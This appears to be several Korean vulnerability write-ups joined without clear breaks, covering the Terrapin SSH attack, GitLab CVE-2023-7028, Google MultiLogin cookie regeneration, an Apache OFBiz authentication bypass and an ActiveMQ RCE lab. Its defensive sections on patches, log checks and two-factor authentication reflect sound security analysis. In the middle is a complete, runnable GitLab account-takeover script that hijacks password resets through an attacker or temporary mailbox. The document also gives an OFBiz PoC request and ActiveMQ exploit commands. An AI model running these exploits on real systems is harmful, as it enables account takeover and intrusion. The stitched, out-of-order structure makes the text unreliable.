- SSH(Secure Shell Protocol)는 1995년 telnet, rlogin, rcp 등의 대안으로 설계되어, 암호화된 통신을 지원 > 인증된 키 교환을 사용해 클라이언트와 서버간 보안 채널을 설정 > 보안 채널은 메시지 조작, 재전송, 삭제 등을 방지하여 기밀성과 무결성을 보장 - 독일 보훔 루르대학교에서 SSH를 공격할 수 있는 새로운 기법 Terrapin 발견 > 통신 채널을 통해 교환되는 메시지를 삭제, 변경 등 조작할 수 있음 > OpenSSH, Paramiko, PuTTY, KiTTY, WinSCP, libssh, libssh2, AsyncSSH, FileZilla, Dropbear를 포함한 다양한 SSH 클라이언트 및 서버에 영향
2. 주요내용
- Terrapin Attack은 SSH 핸드셰이크 과정에 개입해 중간자 공격 수행
> 핸드셰이크 과정은 클라이언트와 서버가 암호화 요소에 동의하고, 키를 교환해 보안 채널을 설정하는 중요 단계 > 전 세계 약 1,100만 개 이상의 SSH 서버가 영향권 [2]
- SSH 핸드셰이크 과정의 2가지 문제에 의해 발생
> 핸드셰이크의 모든 과정이 아닌 시퀀스 번호를 이용해 관리 > 보안 채널 시작시 시퀀스 번호를 재설정하지 않음
> 따라서, 공격자는 핸드셰이크 과정에 개입 및 시퀀스 번호 조작을 통해 SSH 채널의 무결성을 손상 시킬 수 있음
※ 사용자 인증을 위한 공개 키 알고리즘 다운그레이드, 여러 보안 기능 비활성화 등
- 공격이 성공하기 위한 조건 존재
> 중간자 공격이 가능해야 하며, ChaCha20-Poly1305 암호화 알고리즘을 사용 > ChaCha20-Poly1305 알고리즘은 시퀀스 번호를 직접 사용하기 때문에 취약
※ 참고
영향
알고리즘
취약하지 않음
GCM, CBC-EaM, CTR-EaM
취약하나 악용불가
CTR-EtM
취약하나 확율적 악용가능
CBC-EtM
- 논문에 따르면 전체 서버 중 57.73%가 ChaCha20-Poly1305 알고리즘 선호
> 전체 서버 중 ChaCha20-Poly1305, CBC-EtM 알고리즘이 각각 67.58%, 17.24% 지원 (그 중 7%는 두 가지 알고리즘 모두 제공)
- 해당 공격은 CVE-2023-48795로 명명 [3] > CVE-2023-46445(AsyncSSH의 악성 확장 협상 공격), CVE-2023-46446(AsyncSSH의 악성 세션 공격) 포함
3. 대응방안
> 클라이언트-서버간 모든 SSH 핸드셰이크를 인증 > 시퀀스 번호 재설정: 암호화 키가 활성화될 때 시퀀스 번호 0 재설정 > 통신 종료 메시지 지정: TLS 에서는 핸드셰이크 과정의 끝을 알리기 위해 Finished 메시지가 전송되며, 이는 서명이나 암호화되어 상대방이 검증하는 용도로 사용 [4] > 핸드셰이크 과정 중 인증되지 않은 애플리케이션 계층 메시지를 허용하지 않도록 강화(AsyncSSH의 경우) > 서버 보안 패치 즉시 적용: 패치가 적용된 서버일지라도, 클라이언트가 취약한 상태라면 서버 또한 취약한 상태이므로 주의 필요 > 취약점 스캐너 활용 [5]
- PoC 동작 과정 ① POST 메서드를 이용해 /user/password URL로 악성 요청 전송 ② 응답에서 인증 토큰(authenticity_token) 추출 후 비밀번호 재설정 요청 전송 ③ 공격 대상 이메일과 공격자 제어 이메일에 비밀번호 재설정 메시지 전송 ④ 새로운 패스워드 설정 후 공격 대상 계정 및 재설정 비밀번호를 이용해 /users/sign_in URL로 접근 가능함을 안내
import requests
import argparse
from urllib.parse import urlparse, urlencode
from random import choice
from time import sleep
import re
requests.packages.urllib3.disable_warnings()
class OneSecMail_api:
def __init__(self):
self.url = "https://www.1secmail.com"
self.domains = []
def get_domains(self):
print('[DEBUG] Scrapping available domains on 1secmail.com')
html = requests.get(f'{self.url}').text
pattern = re.compile(r'<option value="([a-z.1]+)" data-prefer')
self.domains = pattern.findall(html)
print(f'[DEBUG] {len(self.domains)} domains found')
def get_email(self):
print('[DEBUG] Getting temporary mail')
if self.domains == []:
self.get_domains()
if self.domains == []:
return None
name = ''.join([choice('abcdefghijklmnopqrstuvwxyz0123456789') for _ in range(10)])
domain = choice(self.domains)
mail = f'{name}@{domain}'
print(f'[DEBUG] Temporary mail: {mail}')
return mail
def get_mail_ids(self, name, domain):
print(f'[DEBUG] Getting last mail for {name}@{domain}')
html = requests.post(f'{self.url}/mailbox',
verify=False,
data={
'action': 'getMessages',
'login': name,
'domain': domain
}).text
pattern = re.compile(r'<a href="/mailbox/\?action=readMessageFull&(.*?)">')
mails = pattern.findall(html)
return mails
def get_last_mail(self, mail):
name, domain = mail.split('@')
mails = self.get_mail_ids(name, domain)
print(f'[DEBUG] {len(mails)} mail(s) found')
if mails == []:
return None
print(f'[DEBUG] Reading the last one')
html = requests.get(f'{self.url}/mailbox/?action=readMessageFull&{mails[0]}', verify=False).text
content = html.split('<div id="messageBody">')[1].split('<div id="end1sMessageBody">')[0]
return content
class CVE_2023_7028:
def __init__(self, url, target, evil=None):
self.use_temp_mail = False
self.mail_api = OneSecMail_api()
self.url = urlparse(url)
self.target = target
self.evil = evil
self.s = requests.session()
if self.evil is None:
self.use_temp_mail = True
self.evil = self.mail_api.get_email()
if not self.evil:
print('[DEBUG] Failed ... quitting')
exit()
def get_authenticity_token(self, code=''):
try:
print('[DEBUG] Getting authenticity_token ...')
endpoint = f'/users/password/edit?reset_password_token={code}'
html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/{endpoint}', verify=False).text
regex = r'<input type="hidden" name="authenticity_token" value="(.*?)" autocomplete="off" />'
token = re.findall(regex, html)[0]
print(f'[DEBUG] authenticity_token = {token}')
return token
except Exception:
print('[DEBUG] Failed ... quitting')
return None
def get_csrf_token(self):
try:
print('[DEBUG] Getting authenticity_token ...')
html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text
regex = r'<meta name="csrf-token" content="(.*?)" />'
token = re.findall(regex, html)[0]
print(f'[DEBUG] authenticity_token = {token}')
return token
except Exception:
print('[DEBUG] Failed ... quitting')
return None
def ask_reset(self):
token = self.get_csrf_token()
if not token:
return False
query_string = urlencode({
'authenticity_token': token,
'user[email][]': [self.target, self.evil]
}, doseq=True)
head = {
'Origin': f'{self.url.scheme}://{self.url.netloc}',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',
'Connection': 'close',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br'
}
print('[DEBUG] Sending reset password request')
html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
data=query_string,
headers=head,
verify=False).text
sended = 'If your email address exists in our database' in html
if sended:
print(f'[DEBUG] Emails sended to {self.target} and {self.evil} !')
else:
print('[DEBUG] Failed ... quitting')
return sended
def parse_email(self, content):
try:
pattern = re.compile(r'/users/password/edit\?reset_password_token=(.*?)"')
token = pattern.findall(content)[0]
return token
except:
return None
def get_code(self, max_attempt=5, delay=7.5):
if not self.use_temp_mail:
url = input('\tInput link received by mail: ')
pattern = re.compile(r'(https?://[^"]+/users/password/edit\?reset_password_token=([^"]+))')
match = pattern.findall(url)
if len(match) != 1:
return None
return match[0][1]
else:
for k in range(1, max_attempt+1):
print(f'[DEBUG] Waiting mail, sleeping for {str(delay)} seconds')
sleep(delay)
print(f'[DEBUG] Getting link using temp-mail | Try N°{k} on {max_attempt}')
last_email = self.mail_api.get_last_mail(self.evil)
if last_email is not None:
code = self.parse_email(last_email)
return code
def reset_password(self, password):
code = self.get_code()
if not code:
print('[DEBUG] Failed ... quitting')
return False
print('[DEBUG] Generating new password')
charset = 'abcdefghijklmnopqrstuvwxzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
if password is None:
password = ''.join(choice(charset) for _ in range(20))
authenticity_token = self.get_authenticity_token(code)
if authenticity_token is None:
return False
print(f'[DEBUG] Changing password to {password}')
html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
verify=False,
data={
'_method': 'put',
'authenticity_token': authenticity_token,
'user[reset_password_token]': code,
'user[password]': password,
'user[password_confirmation]': password
}).text
success = 'Your password has been changed successfully.' in html
if success:
print('[DEBUG] CVE_2023_7028 succeed !')
print(f'\tYou can connect on {self.url.scheme}://{self.url.netloc}/users/sign_in')
print(f'\tUsername: {self.target}')
print(f'\tPassword: {password}')
else:
print('[DEBUG] Failed ... quitting')
def parse_args():
parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab')
parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url")
parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email")
parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email")
parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password")
return parser.parse_args()
if __name__ == '__main__':
args = parse_args()
exploit = CVE_2023_7028(
url=args.url,
target=args.target,
evil=args.evil
)
if not exploit.ask_reset():
exit()
exploit.reset_password(password=args.password)
3. 대응방안
① 벤더사 제공 업데이트 및 권장사항 적용 [6]
- 해당 취약점을 포함한 5개의 취약점 패치를 제공하며, 즉각적인 조치가 필요
> 권장 사항 [7] ⒜ 여러 이메일 주소가 포함된 JSON 배열을 사용해 /users/password에 대한 HTTP 요청 로그(gitlab-rails/production_json.log)를 검토 ⒝ 감사 로그(gitlab-rails/audit_json.log)에서 여러 이메일 주소의 JSON 배열이 포함된 PasswordsController#create와 관련된 항목이 있는지 확인
제품명
영향받는 버전
해결버전
GitLab CE/EE
16.1 ~ 16.1.5
16.1.6
16.2 ~ 16.2.8
16.2.9
16.3 ~ 16.3.6
16.3.7
16.4 ~ 16.4.4
16.4.5
16.5 ~ 16.5.5
16.5.6
16.6 ~ 16.6.3
16.6.4
16.7 ~ 16.7.1
16.7.2
② 모든 GitLab 계정에 대해 2단계 인증 적용
- 2단계 인증 활성화시 비밀번호 재설정 취약점은 여전히 존재하나 2단계 인증 방법에는 액세스 불가
③ GitLab에 저장된 모든 비밀을 변경 [8]
- GitLab 계정 비밀번호를 포함한 모든 자격 증명 - API 토큰 - 모든 인증서 - 다른 비밀 정보
- 23.10 위협 행위자 PRISMA는 영구 Google 쿠키를 생성할 수 있는 익스플로잇 공개 [1] - 익스플로잇을 통해 위협 행위자는 사용자가 비밀번호를 재설정한 후에도 구글에 지속적으로 액세스 가능 - Lumma, Rhadamanthys, Stealc, Medusa, RisePro, Whitesnake 등 Infostealer Malware에서 악용중
2. 주요내용 [2]
- 23.10 위협 행위자 'PRISMA'는 Google 계정과 관련된 제로데이 취약점을 악용한 공격 툴 공개
> 세션을 탈취해 비밀번호를 재설정한 후에도 새로운 쿠키를 생성해 구글 서비스에 지속적 액세스가 가능
> 해당 툴은 2가지 기능을 지님
① 비밀번호 변경 유무와 상관없이 세션 유지 ② 새로운 유효한 쿠키 생성
- 공격 툴을 리버스 엔지니어링하여 취약점은 'MultiLogin'이라는 Google OAuth 엔드포인트에 의존
> 다양한 구글 서비스에서 계정을 동기화하도록 설계 > 구글의 공식 문건에서 이 기능이 정식으로 언급된 적 없음
- 로그인된 Chrome 프로필의 토큰 및 계정 ID 추출
> 추출을 위해 WebData의 token_service table 참조
> 해당 테이블에는 서비스(GAIA ID)와 encrypted_token이 저장되 있음
- 추출한 token:GAIA ID 쌍을 멀티로그인 엔드포인트와 결합해 구글 인증 쿠키를 다시 생성
- 새로운 인증 쿠키를 생성해 구글 계정에 장기간 무단으로 액세스 가능 > 사용자가 비밀번호를 변경하여도 구글 서비스에 지속적 액세스 가능
- ERP(Enterprise Resource Planning, 전사적자원관리 ) : 재고, 회계, 인사, 급여 등 기업의 모든 업무를 통합해 관리할 수 있는 시스템
2. 취약점
- 로그인 기능에서 발생하는 인증 우회 취약점 (CVSS: 9.8)
> CVE-2023-49070에 대한 불완전한 패치로 인한 인증 우회 취약점
> 취약점을 악용에 성공한 공격자는 SSRF 공격을 수행할 수 있게 됨
영향받는 버전 - Apache OFbiz 18.12.11 이전 버전
CVE-2023-49070 [3] - 인증되지 않은 공격자가 인증 과정을 우회하여 원격 명령을 실행할 수 있게되는 취약점 (CVSS: 9.8) - 더 이상 사용 및 유지되지 않는 Apache XML-RPC 구성요소가 포함되어 있어 발생 [4][5] - 사용하지 않는 XML-RPC 관련 코드를 제거하여 패치 제공 [6] - PoC: /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y [7] - 영향받는 버전: Apache OFBIz 18.12.10 이전 버전
2.1 취약점 상세
- LoginWorker.java 파일의 requirePasswordChange 매개변수에 의해 발생 [8][9]
> 매개변수 USERNAME, PASSWARD는 공백 또는 임의의값, requirePasswordChange는 Y로 설정하여 요청 전송
2.1.1 케이스 ①
- USERNAME 및 PASSWARD는 공백, requirePasswordChange는 Y로 설정한 경우
※ Java에서 공백(빈값으로 초기화되어 메모리 할당)과 Null(초기화되지 않은 상태)은 서로 다른 값
- 자바로 만든 오픈소스 메세지 브로커로, 다양한 언어를 이용하는 시스템간의 통신을 할 수 있게 함
- 가장 대중적이고 강력한 오픈 소스 메세징 그리고 통합 패턴 서버
- 클라이언트 간 메시지를 송수신 할 수 있는 오픈 소스 Broker(JMS 서버)
2. 취약점
- ActiveMQ에서 내부적으로 사용하는 OpenWire 프로토콜에서 불충분한 클래스 역직렬화 검증으로 인해 발생 (CVSS: 10.0)
> ActiveMQ 서버가 외부에 노출된 경우 공격에 악용될 수 있음
조건 ① OpenWire 포트 61616에 엑세스 가능
조건 ② 데이터 유형이 31인 OpenWire 패킷 전송
> 암호화폐 채굴 악성코드 또는 랜섬웨어 유포 등 악용 사례가 발견되는 중
- 영향받는 버전 ① Apache ActiveMQ > 5.18.0 ~ 5.18.3 이전 버전 > 5.17.0 ~ 5.17.6 이전 버전 > 5.16.0 ~ 5.16.7 이전 버전 > 5.15.16 이전 버전
② Apache ActiveMQ Legacy OpenWire Module >5.18.0 ~ 5.18.3 이전 버전 >5.17.0 ~ 5.17.6 이전 버전 >5.16.0 ~ 5.16.7 이전 버전 >5.8.0 ~ 5.15.16 이전 버전
2.1 취약점 상세 [5][6][7]
- 입력에서 데이터 스트림을 수신하면 OpenWireFormat.doUnmarshal 메서드를 통해 언마셜을 수행
> 언마셜이란 XML을 Java Object로 변환하는 것을 의미 (반대의 과정을 마셜이라 함)
> 언마셜 과정은 BaseDataStreamMarshaller에 의존
- ActiveMQ에는 각각의 데이터 유형에 맞게 설계된 다양한 종류의 DataStreamMarshaller이 존재
> 시스템은 데이터와 함께 제공되는 DATA_STRUCTURE_TYPE을 확인해 사용할 Marshaller를 결정 [8]
- 데이터 타입이 31(EXCEPTION_RESPONSE)일 경우 ExceptionResponseMarshaller을 이용해 언마셜 수행
> 해당 취약점은 ExceptionResponse 데이터에서 생성된 클래스의 유효성을 검사하지 못하여 발생
2.2 취약점 실습
- ActiveMQ 실행
> default ID/PW: admin/admin
wget hxxps://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz tar -zxvf apache-activemq-5.18.2-bin.tar.gz cd apache-activemq-5.18.2/bin/ ./activemq start
- PoC 다운 및 수정 [9]
> PoC 수행 전 tmp 디렉터리에 success 파일은 존재하지 않는 상태
git clone hxxps://github.com/X1r0z/ActiveMQ-RCE cd ActiveMQ-RCE vi poc.xml
- PoC 수행
> PoC 수행 결과 404 Error를 반환하며 다른 PoC를 수행해 보았으나 동일 결과 반환
> PoC가 정상 수행될 경우 /tmp/success 파일이 생성
python3 -m http.server go run main.go -i 127.0.0.1 -u http://localhost:8000/poc.xml
3. 대응방안
① 벤더사 제공 최신 업데이트 적용 [10]
- validateIsThrowable 메서드를 추가
> 제공된 클래스가 Throwable 클래스 확장 유무 확인
> Throwable을 확장하지 않으면 해당 클래스가 Throwable에 할당할 수 없음을 나타내는 "IlalgalArgumentException" 오류 메시지 생성